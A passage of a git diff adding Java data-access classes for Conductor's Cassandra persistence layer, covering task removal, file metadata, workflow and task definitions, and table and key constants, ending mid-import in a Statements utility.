task) { + // TODO: calculate shard number based on seq and maxTasksPerShard + try { + // get total tasks for this workflow + WorkflowMetadata workflowMetadata = getWorkflowMetadata(task.getWorkflowInstanceId()); + int totalTasks = workflowMetadata.getTotalTasks(); + + // remove from task_lookup table + removeTaskLookup(task); + + recordCassandraDaoRequests("removeTask", task.getTaskType(), task.getWorkflowType()); + // delete task from workflows table and decrement total tasks by 1 + BatchStatement batchStatement = new BatchStatement(); + batchStatement.add( + deleteTaskStatement.bind( + UUID.fromString(task.getWorkflowInstanceId()), + DEFAULT_SHARD_ID, + task.getTaskId())); + batchStatement.add( + updateTotalTasksStatement.bind( + totalTasks - 1, + UUID.fromString(task.getWorkflowInstanceId()), + DEFAULT_SHARD_ID)); + ResultSet resultSet = session.execute(batchStatement); + if (task.getTaskDefinition().isPresent() + && task.getTaskDefinition().get().concurrencyLimit() > 0) { + removeTaskFromLimit(task); + } + return resultSet.wasApplied(); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "removeTask"); + String errorMsg = String.format("Failed to remove task: %s", task.getTaskId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + } + + protected void removeTaskLookup(TaskModel task) { + try { + recordCassandraDaoRequests( + "removeTaskLookup", task.getTaskType(), task.getWorkflowType()); + if (task.getTaskDefinition().isPresent() + && task.getTaskDefinition().get().concurrencyLimit() > 0) { + removeTaskFromLimit(task); + } + session.execute(deleteTaskLookupStatement.bind(UUID.fromString(task.getTaskId()))); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "removeTaskLookup"); + String errorMsg = String.format("Failed to remove task lookup: %s", task.getTaskId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg); + } + } + + @VisibleForTesting + void validateTasks(List tasks) { + Preconditions.checkNotNull(tasks, "Tasks object cannot be null"); + Preconditions.checkArgument(!tasks.isEmpty(), "Tasks object cannot be empty"); + tasks.forEach( + task -> { + Preconditions.checkNotNull(task, "task object cannot be null"); + Preconditions.checkNotNull(task.getTaskId(), "Task id cannot be null"); + Preconditions.checkNotNull( + task.getWorkflowInstanceId(), "Workflow instance id cannot be null"); + Preconditions.checkNotNull( + task.getReferenceTaskName(), "Task reference name cannot be null"); + }); + + String workflowId = tasks.get(0).getWorkflowInstanceId(); + Optional optionalTask = + tasks.stream() + .filter(task -> !workflowId.equals(task.getWorkflowInstanceId())) + .findAny(); + if (optionalTask.isPresent()) { + throw new NonTransientException( + "Tasks of multiple workflows cannot be created/updated simultaneously"); + } + } + + @VisibleForTesting + WorkflowMetadata getWorkflowMetadata(String workflowId) { + ResultSet resultSet = + session.execute(selectTotalStatement.bind(UUID.fromString(workflowId))); + recordCassandraDaoRequests("getWorkflowMetadata"); + return Optional.ofNullable(resultSet.one()) + .map( + row -> { + WorkflowMetadata workflowMetadata = new WorkflowMetadata(); + workflowMetadata.setTotalTasks(row.getInt(TOTAL_TASKS_KEY)); + workflowMetadata.setTotalPartitions(row.getInt(TOTAL_PARTITIONS_KEY)); + return workflowMetadata; + }) + .orElseThrow( + () -> + new NotFoundException( + "Workflow with id: %s not found in data store", + workflowId)); + } + + @VisibleForTesting + String lookupWorkflowIdFromTaskId(String taskId) { + UUID taskUUID = toUUID(taskId, "Invalid task id"); + try { + ResultSet resultSet = session.execute(selectTaskLookupStatement.bind(taskUUID)); + return Optional.ofNullable(resultSet.one()) + .map(row -> row.getUUID(WORKFLOW_ID_KEY).toString()) + .orElse(null); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "lookupWorkflowIdFromTaskId"); + String errorMsg = String.format("Failed to lookup workflowId from taskId: %s", taskId); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraFileMetadataDAO.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraFileMetadataDAO.java new file mode 100644 index 0000000..b6c9b3d --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraFileMetadataDAO.java @@ -0,0 +1,134 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.dao; + +import java.time.Instant; +import java.util.ArrayList; +import java.util.List; + +import org.conductoross.conductor.dao.FileMetadataDAO; +import org.conductoross.conductor.model.FileModel; +import org.conductoross.conductor.model.file.FileUploadStatus; + +import com.netflix.conductor.cassandra.config.CassandraProperties; + +import com.datastax.driver.core.*; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class CassandraFileMetadataDAO extends CassandraBaseDAO implements FileMetadataDAO { + + private static final String TABLE_FILE_METADATA = "file_metadata"; + + private final PreparedStatement insertStmt; + private final PreparedStatement selectByIdStmt; + private final PreparedStatement selectByWorkflowStmt; + private final PreparedStatement selectByTaskStmt; + + private final Session session; + private final ConsistencyLevel readConsistency; + private final ConsistencyLevel writeConsistency; + + public CassandraFileMetadataDAO( + Session session, ObjectMapper objectMapper, CassandraProperties properties) { + super(session, objectMapper, properties); + this.session = session; + this.readConsistency = properties.getReadConsistencyLevel(); + this.writeConsistency = properties.getWriteConsistencyLevel(); + + insertStmt = + session.prepare( + "INSERT INTO " + + TABLE_FILE_METADATA + + " (file_id, json_data) VALUES (?, ?)") + .setConsistencyLevel(writeConsistency); + + selectByIdStmt = + session.prepare( + "SELECT json_data FROM " + + TABLE_FILE_METADATA + + " WHERE file_id = ?") + .setConsistencyLevel(readConsistency); + + selectByWorkflowStmt = + session.prepare( + "SELECT json_data FROM " + + TABLE_FILE_METADATA + + " WHERE workflow_id = ?") + .setConsistencyLevel(readConsistency); + + selectByTaskStmt = + session.prepare( + "SELECT json_data FROM " + + TABLE_FILE_METADATA + + " WHERE task_id = ?") + .setConsistencyLevel(readConsistency); + } + + @Override + public void createFileMetadata(FileModel fileModel) { + session.execute(insertStmt.bind(fileModel.getFileId(), toJson(fileModel))); + } + + @Override + public FileModel getFileMetadata(String fileId) { + ResultSet rs = session.execute(selectByIdStmt.bind(fileId)); + Row row = rs.one(); + if (row == null) return null; + return readValue(row.getString("json_data"), FileModel.class); + } + + @Override + public void updateUploadStatus(String fileId, FileUploadStatus status) { + FileModel model = getFileMetadata(fileId); + if (model == null) { + return; + } + model.setUploadStatus(status); + model.setUpdatedAt(Instant.now()); + session.execute(insertStmt.bind(fileId, toJson(model))); + } + + @Override + public void updateUploadComplete( + String fileId, FileUploadStatus status, String contentHash, long contentSize) { + FileModel model = getFileMetadata(fileId); + if (model == null) { + return; + } + model.setUploadStatus(status); + model.setStorageContentHash(contentHash); + model.setStorageContentSize(contentSize); + model.setUpdatedAt(Instant.now()); + session.execute(insertStmt.bind(fileId, toJson(model))); + } + + @Override + public List getFilesByWorkflowId(String workflowId) { + ResultSet rs = session.execute(selectByWorkflowStmt.bind(workflowId)); + return toFileModelList(rs); + } + + @Override + public List getFilesByTaskId(String taskId) { + ResultSet rs = session.execute(selectByTaskStmt.bind(taskId)); + return toFileModelList(rs); + } + + private List toFileModelList(ResultSet rs) { + List list = new ArrayList<>(); + for (Row row : rs) { + list.add(readValue(row.getString("json_data"), FileModel.class)); + } + return list; + } +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraMetadataDAO.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraMetadataDAO.java new file mode 100644 index 0000000..9c6de64 --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraMetadataDAO.java @@ -0,0 +1,451 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.dao; + +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Optional; +import java.util.PriorityQueue; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.tuple.ImmutablePair; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.cassandra.config.CassandraProperties; +import com.netflix.conductor.cassandra.util.Statements; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.metrics.Monitors; + +import com.datastax.driver.core.PreparedStatement; +import com.datastax.driver.core.ResultSet; +import com.datastax.driver.core.Row; +import com.datastax.driver.core.Session; +import com.datastax.driver.core.exceptions.DriverException; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.cassandra.util.Constants.TASK_DEFINITION_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TASK_DEFS_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEFINITION_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEF_INDEX_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEF_NAME_VERSION_KEY; +import static com.netflix.conductor.common.metadata.tasks.TaskDef.ONE_HOUR; + +@Trace +public class CassandraMetadataDAO extends CassandraBaseDAO implements MetadataDAO { + + private static final Logger LOGGER = LoggerFactory.getLogger(CassandraMetadataDAO.class); + private static final String CLASS_NAME = CassandraMetadataDAO.class.getSimpleName(); + private static final String INDEX_DELIMITER = "/"; + + private final PreparedStatement insertWorkflowDefStatement; + private final PreparedStatement insertWorkflowDefVersionIndexStatement; + private final PreparedStatement insertTaskDefStatement; + + private final PreparedStatement selectWorkflowDefStatement; + + private final PreparedStatement selectAllWorkflowDefVersionsByNameStatement; + private final PreparedStatement selectAllWorkflowDefsStatement; + private final PreparedStatement selectAllWorkflowDefsLatestVersionsStatement; + private final PreparedStatement selectTaskDefStatement; + private final PreparedStatement selectAllTaskDefsStatement; + + private final PreparedStatement updateWorkflowDefStatement; + + private final PreparedStatement deleteWorkflowDefStatement; + private final PreparedStatement deleteWorkflowDefIndexStatement; + private final PreparedStatement deleteTaskDefStatement; + + public CassandraMetadataDAO( + Session session, + ObjectMapper objectMapper, + CassandraProperties properties, + Statements statements) { + super(session, objectMapper, properties); + + this.insertWorkflowDefStatement = + session.prepare(statements.getInsertWorkflowDefStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.insertWorkflowDefVersionIndexStatement = + session.prepare(statements.getInsertWorkflowDefVersionIndexStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.insertTaskDefStatement = + session.prepare(statements.getInsertTaskDefStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + + this.selectWorkflowDefStatement = + session.prepare(statements.getSelectWorkflowDefStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + this.selectAllWorkflowDefVersionsByNameStatement = + session.prepare(statements.getSelectAllWorkflowDefVersionsByNameStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + this.selectAllWorkflowDefsStatement = + session.prepare(statements.getSelectAllWorkflowDefsStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + this.selectAllWorkflowDefsLatestVersionsStatement = + session.prepare(statements.getSelectAllWorkflowDefsLatestVersionsStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + this.selectTaskDefStatement = + session.prepare(statements.getSelectTaskDefStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + this.selectAllTaskDefsStatement = + session.prepare(statements.getSelectAllTaskDefsStatement()) + .setConsistencyLevel(properties.getReadConsistencyLevel()); + + this.updateWorkflowDefStatement = + session.prepare(statements.getUpdateWorkflowDefStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + + this.deleteWorkflowDefStatement = + session.prepare(statements.getDeleteWorkflowDefStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.deleteWorkflowDefIndexStatement = + session.prepare(statements.getDeleteWorkflowDefIndexStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + this.deleteTaskDefStatement = + session.prepare(statements.getDeleteTaskDefStatement()) + .setConsistencyLevel(properties.getWriteConsistencyLevel()); + } + + @Override + public TaskDef createTaskDef(TaskDef taskDef) { + return insertOrUpdateTaskDef(taskDef); + } + + @Override + public TaskDef updateTaskDef(TaskDef taskDef) { + return insertOrUpdateTaskDef(taskDef); + } + + @Override + public TaskDef getTaskDef(String name) { + return getTaskDefFromDB(name); + } + + @Override + public List getAllTaskDefs() { + return getAllTaskDefsFromDB(); + } + + @Override + public void removeTaskDef(String name) { + try { + recordCassandraDaoRequests("removeTaskDef"); + session.execute(deleteTaskDefStatement.bind(name)); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "removeTaskDef"); + String errorMsg = String.format("Failed to remove task definition: %s", name); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + @Override + public void createWorkflowDef(WorkflowDef workflowDef) { + try { + String workflowDefinition = toJson(workflowDef); + if (!session.execute( + insertWorkflowDefStatement.bind( + workflowDef.getName(), + workflowDef.getVersion(), + workflowDefinition)) + .wasApplied()) { + throw new ConflictException( + "Workflow: %s, version: %s already exists!", + workflowDef.getName(), workflowDef.getVersion()); + } + String workflowDefIndex = + getWorkflowDefIndexValue(workflowDef.getName(), workflowDef.getVersion()); + session.execute( + insertWorkflowDefVersionIndexStatement.bind( + workflowDefIndex, workflowDefIndex)); + recordCassandraDaoRequests("createWorkflowDef"); + recordCassandraDaoPayloadSize( + "createWorkflowDef", workflowDefinition.length(), "n/a", workflowDef.getName()); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "createWorkflowDef"); + String errorMsg = + String.format( + "Error creating workflow definition: %s/%d", + workflowDef.getName(), workflowDef.getVersion()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + @Override + public void updateWorkflowDef(WorkflowDef workflowDef) { + try { + String workflowDefinition = toJson(workflowDef); + session.execute( + updateWorkflowDefStatement.bind( + workflowDefinition, workflowDef.getName(), workflowDef.getVersion())); + String workflowDefIndex = + getWorkflowDefIndexValue(workflowDef.getName(), workflowDef.getVersion()); + session.execute( + insertWorkflowDefVersionIndexStatement.bind( + workflowDefIndex, workflowDefIndex)); + recordCassandraDaoRequests("updateWorkflowDef"); + recordCassandraDaoPayloadSize( + "updateWorkflowDef", workflowDefinition.length(), "n/a", workflowDef.getName()); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "updateWorkflowDef"); + String errorMsg = + String.format( + "Error updating workflow definition: %s/%d", + workflowDef.getName(), workflowDef.getVersion()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + @Override + public Optional getLatestWorkflowDef(String name) { + List workflowDefList = getAllWorkflowDefVersions(name); + if (workflowDefList != null && workflowDefList.size() > 0) { + workflowDefList.sort(Comparator.comparingInt(WorkflowDef::getVersion)); + return Optional.of(workflowDefList.get(workflowDefList.size() - 1)); + } + return Optional.empty(); + } + + @Override + public Optional getWorkflowDef(String name, int version) { + try { + recordCassandraDaoRequests("getWorkflowDef"); + ResultSet resultSet = session.execute(selectWorkflowDefStatement.bind(name, version)); + WorkflowDef workflowDef = + Optional.ofNullable(resultSet.one()) + .map( + row -> + readValue( + row.getString(WORKFLOW_DEFINITION_KEY), + WorkflowDef.class)) + .orElse(null); + return Optional.ofNullable(workflowDef); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "getTaskDef"); + String errorMsg = String.format("Error fetching workflow def: %s/%d", name, version); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + @Override + public void removeWorkflowDef(String name, Integer version) { + try { + session.execute(deleteWorkflowDefStatement.bind(name, version)); + session.execute( + deleteWorkflowDefIndexStatement.bind( + WORKFLOW_DEF_INDEX_KEY, getWorkflowDefIndexValue(name, version))); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "removeWorkflowDef"); + String errorMsg = + String.format("Failed to remove workflow definition: %s/%d", name, version); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + @SuppressWarnings("unchecked") + @Override + public List getAllWorkflowDefs() { + try { + ResultSet resultSet = + session.execute(selectAllWorkflowDefsStatement.bind(WORKFLOW_DEF_INDEX_KEY)); + List rows = resultSet.all(); + if (rows.size() == 0) { + LOGGER.info("No workflow definitions were found."); + return Collections.EMPTY_LIST; + } + return rows.stream() + .map( + row -> { + String defNameVersion = + row.getString(WORKFLOW_DEF_NAME_VERSION_KEY); + var nameVersion = getWorkflowNameAndVersion(defNameVersion); + return getWorkflowDef(nameVersion.getLeft(), nameVersion.getRight()) + .orElse(null); + }) + .filter(Objects::nonNull) + .collect(Collectors.toList()); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "getAllWorkflowDefs"); + String errorMsg = "Error retrieving all workflow defs"; + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + @Override + public List getAllWorkflowDefsLatestVersions() { + try { + ResultSet resultSet = + session.execute( + selectAllWorkflowDefsLatestVersionsStatement.bind( + WORKFLOW_DEF_INDEX_KEY)); + List rows = resultSet.all(); + if (rows.size() == 0) { + LOGGER.info("No workflow definitions were found."); + return Collections.EMPTY_LIST; + } + Map> allWorkflowDefs = new HashMap<>(); + + for (Row row : rows) { + String defNameVersion = row.getString(WORKFLOW_DEF_NAME_VERSION_KEY); + var nameVersion = getWorkflowNameAndVersion(defNameVersion); + WorkflowDef def = + getWorkflowDef(nameVersion.getLeft(), nameVersion.getRight()).orElse(null); + if (def == null) { + continue; + } + if (allWorkflowDefs.get(def.getName()) == null) { + allWorkflowDefs.put( + def.getName(), + new PriorityQueue<>( + (WorkflowDef w1, WorkflowDef w2) -> + Integer.compare(w2.getVersion(), w1.getVersion()))); + } + allWorkflowDefs.get(def.getName()).add(def); + } + return allWorkflowDefs.values().stream() + .map(PriorityQueue::poll) + .collect(Collectors.toList()); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "getAllWorkflowDefsLatestVersions"); + String errorMsg = "Error retrieving all workflow defs latest versions"; + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + private TaskDef getTaskDefFromDB(String name) { + try { + ResultSet resultSet = session.execute(selectTaskDefStatement.bind(name)); + recordCassandraDaoRequests("getTaskDef", name, null); + return Optional.ofNullable(resultSet.one()).map(this::setDefaults).orElse(null); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "getTaskDef"); + String errorMsg = String.format("Failed to get task def: %s", name); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + @SuppressWarnings("unchecked") + private List getAllTaskDefsFromDB() { + try { + ResultSet resultSet = session.execute(selectAllTaskDefsStatement.bind(TASK_DEFS_KEY)); + List rows = resultSet.all(); + if (rows.size() == 0) { + LOGGER.info("No task definitions were found."); + return Collections.EMPTY_LIST; + } + return rows.stream().map(this::setDefaults).collect(Collectors.toList()); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "getAllTaskDefs"); + String errorMsg = "Failed to get all task defs"; + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + private List getAllWorkflowDefVersions(String name) { + try { + ResultSet resultSet = + session.execute(selectAllWorkflowDefVersionsByNameStatement.bind(name)); + recordCassandraDaoRequests("getAllWorkflowDefVersions", "n/a", name); + List rows = resultSet.all(); + if (rows.size() == 0) { + LOGGER.info("Not workflow definitions were found for : {}", name); + return null; + } + return rows.stream() + .map( + row -> + readValue( + row.getString(WORKFLOW_DEFINITION_KEY), + WorkflowDef.class)) + .collect(Collectors.toList()); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "getAllWorkflowDefVersions"); + String errorMsg = String.format("Failed to get workflows defs for : %s", name); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + private TaskDef insertOrUpdateTaskDef(TaskDef taskDef) { + try { + String taskDefinition = toJson(taskDef); + session.execute(insertTaskDefStatement.bind(taskDef.getName(), taskDefinition)); + recordCassandraDaoRequests("storeTaskDef"); + recordCassandraDaoPayloadSize( + "storeTaskDef", taskDefinition.length(), taskDef.getName(), "n/a"); + } catch (DriverException e) { + Monitors.error(CLASS_NAME, "insertOrUpdateTaskDef"); + String errorMsg = + String.format("Error creating/updating task definition: %s", taskDef.getName()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + return taskDef; + } + + @VisibleForTesting + String getWorkflowDefIndexValue(String name, int version) { + return name + INDEX_DELIMITER + version; + } + + @VisibleForTesting + ImmutablePair getWorkflowNameAndVersion(String nameVersionStr) { + int lastIndexOfDelimiter = nameVersionStr.lastIndexOf(INDEX_DELIMITER); + + if (lastIndexOfDelimiter == -1) { + throw new IllegalStateException( + nameVersionStr + + " is not in the 'workflowName" + + INDEX_DELIMITER + + "version' pattern."); + } + + String workflowName = nameVersionStr.substring(0, lastIndexOfDelimiter); + String versionStr = nameVersionStr.substring(lastIndexOfDelimiter + 1); + + try { + return new ImmutablePair<>(workflowName, Integer.parseInt(versionStr)); + } catch (NumberFormatException e) { + throw new IllegalStateException( + versionStr + " in " + nameVersionStr + " is not a valid number."); + } + } + + private TaskDef setDefaults(Row row) { + TaskDef taskDef = readValue(row.getString(TASK_DEFINITION_KEY), TaskDef.class); + if (taskDef != null && taskDef.getResponseTimeoutSeconds() == 0) { + taskDef.setResponseTimeoutSeconds( + taskDef.getTimeoutSeconds() == 0 ? ONE_HOUR : taskDef.getTimeoutSeconds() - 1); + } + return taskDef; + } +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraPollDataDAO.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraPollDataDAO.java new file mode 100644 index 0000000..8e7e4d1 --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraPollDataDAO.java @@ -0,0 +1,43 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.dao; + +import java.util.List; + +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.dao.PollDataDAO; + +/** + * This is a dummy implementation and this feature is not implemented for Cassandra backed + * Conductor. + */ +public class CassandraPollDataDAO implements PollDataDAO { + + @Override + public void updateLastPollData(String taskDefName, String domain, String workerId) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraPollDataDAO. Please use ExecutionDAOFacade instead."); + } + + @Override + public PollData getPollData(String taskDefName, String domain) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraPollDataDAO. Please use ExecutionDAOFacade instead."); + } + + @Override + public List getPollData(String taskDefName) { + throw new UnsupportedOperationException( + "This method is not implemented in CassandraPollDataDAO. Please use ExecutionDAOFacade instead."); + } +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/util/Constants.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/util/Constants.java new file mode 100644 index 0000000..1d815ae --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/util/Constants.java @@ -0,0 +1,55 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.util; + +public interface Constants { + + String DAO_NAME = "cassandra"; + + String TABLE_WORKFLOWS = "workflows"; + String TABLE_TASK_LOOKUP = "task_lookup"; + String TABLE_TASK_DEF_LIMIT = "task_def_limit"; + String TABLE_WORKFLOW_DEFS = "workflow_definitions"; + String TABLE_WORKFLOW_DEFS_INDEX = "workflow_defs_index"; + String TABLE_TASK_DEFS = "task_definitions"; + String TABLE_EVENT_HANDLERS = "event_handlers"; + String TABLE_EVENT_EXECUTIONS = "event_executions"; + + String WORKFLOW_ID_KEY = "workflow_id"; + String SHARD_ID_KEY = "shard_id"; + String TASK_ID_KEY = "task_id"; + String ENTITY_KEY = "entity"; + String PAYLOAD_KEY = "payload"; + String TOTAL_TASKS_KEY = "total_tasks"; + String TOTAL_PARTITIONS_KEY = "total_partitions"; + String TASK_DEF_NAME_KEY = "task_def_name"; + String WORKFLOW_DEF_NAME_KEY = "workflow_def_name"; + String WORKFLOW_VERSION_KEY = "version"; + String WORKFLOW_DEFINITION_KEY = "workflow_definition"; + String WORKFLOW_DEF_INDEX_KEY = "workflow_def_version_index"; + String WORKFLOW_DEF_INDEX_VALUE = "workflow_def_index_value"; + String WORKFLOW_DEF_NAME_VERSION_KEY = "workflow_def_name_version"; + String TASK_DEFS_KEY = "task_defs"; + String TASK_DEFINITION_KEY = "task_definition"; + String HANDLERS_KEY = "handlers"; + String EVENT_HANDLER_NAME_KEY = "event_handler_name"; + String EVENT_HANDLER_KEY = "event_handler"; + String MESSAGE_ID_KEY = "message_id"; + String EVENT_EXECUTION_ID_KEY = "event_execution_id"; + + String ENTITY_TYPE_WORKFLOW = "workflow"; + String ENTITY_TYPE_TASK = "task"; + + int DEFAULT_SHARD_ID = 1; + int DEFAULT_TOTAL_PARTITIONS = 1; +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/util/Statements.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/util/Statements.java new file mode 100644 index 0000000..63e6b4a --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/util/Statements.java @@ -0,0 +1,604 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.util; + +import com.datastax.driver.core.querybuilder.QueryBuilder; + +import static com.netflix.conductor.cassandra.util.Constants.ENTITY_KEY; +import static com.netflix.conductor.cassandra.util.Constants.ENTITY_TYPE_TASK; +import static com.netflix.conductor.cassandra.util.Constants.ENTITY_TYPE_WORKFLOW; +import static com.netflix.conductor.cassandra.util.Constants.EVENT_EXECUTION_ID_KEY; +import static com.netflix.conductor.cassandra.util.Constants.EVENT_HANDLER_KEY; +import static com.netflix.conductor.cassandra.util.Constants.EVENT_HANDLER_NAME_KEY; +import static com.netflix.conductor.cassandra.util.Constants.HANDLERS_KEY; +import static com.netflix.conductor.cassandra.util.Constants.MESSAGE_ID_KEY; +import static com.netflix.conductor.cassandra.util.Constants.PAYLOAD_KEY; +import static com.netflix.conductor.cassandra.util.Constants.SHARD_ID_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_EVENT_EXECUTIONS; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_EVENT_HANDLERS; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_TASK_DEFS; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_TASK_DEF_LIMIT; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_TASK_LOOKUP; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_WORKFLOWS; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_WORKFLOW_DEFS; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_WORKFLOW_DEFS_INDEX; +import static com.netflix.conductor.cassandra.util.Constants.TASK_DEFINITION_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TASK_DEFS_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TASK_DEF_NAME_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TASK_ID_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TOTAL_PARTITIONS_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TOTAL_TASKS_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEFINITION_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEF_INDEX_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEF_INDEX_VALUE; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEF_NAME_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEF_NAME_VERSION_KEY; +import static 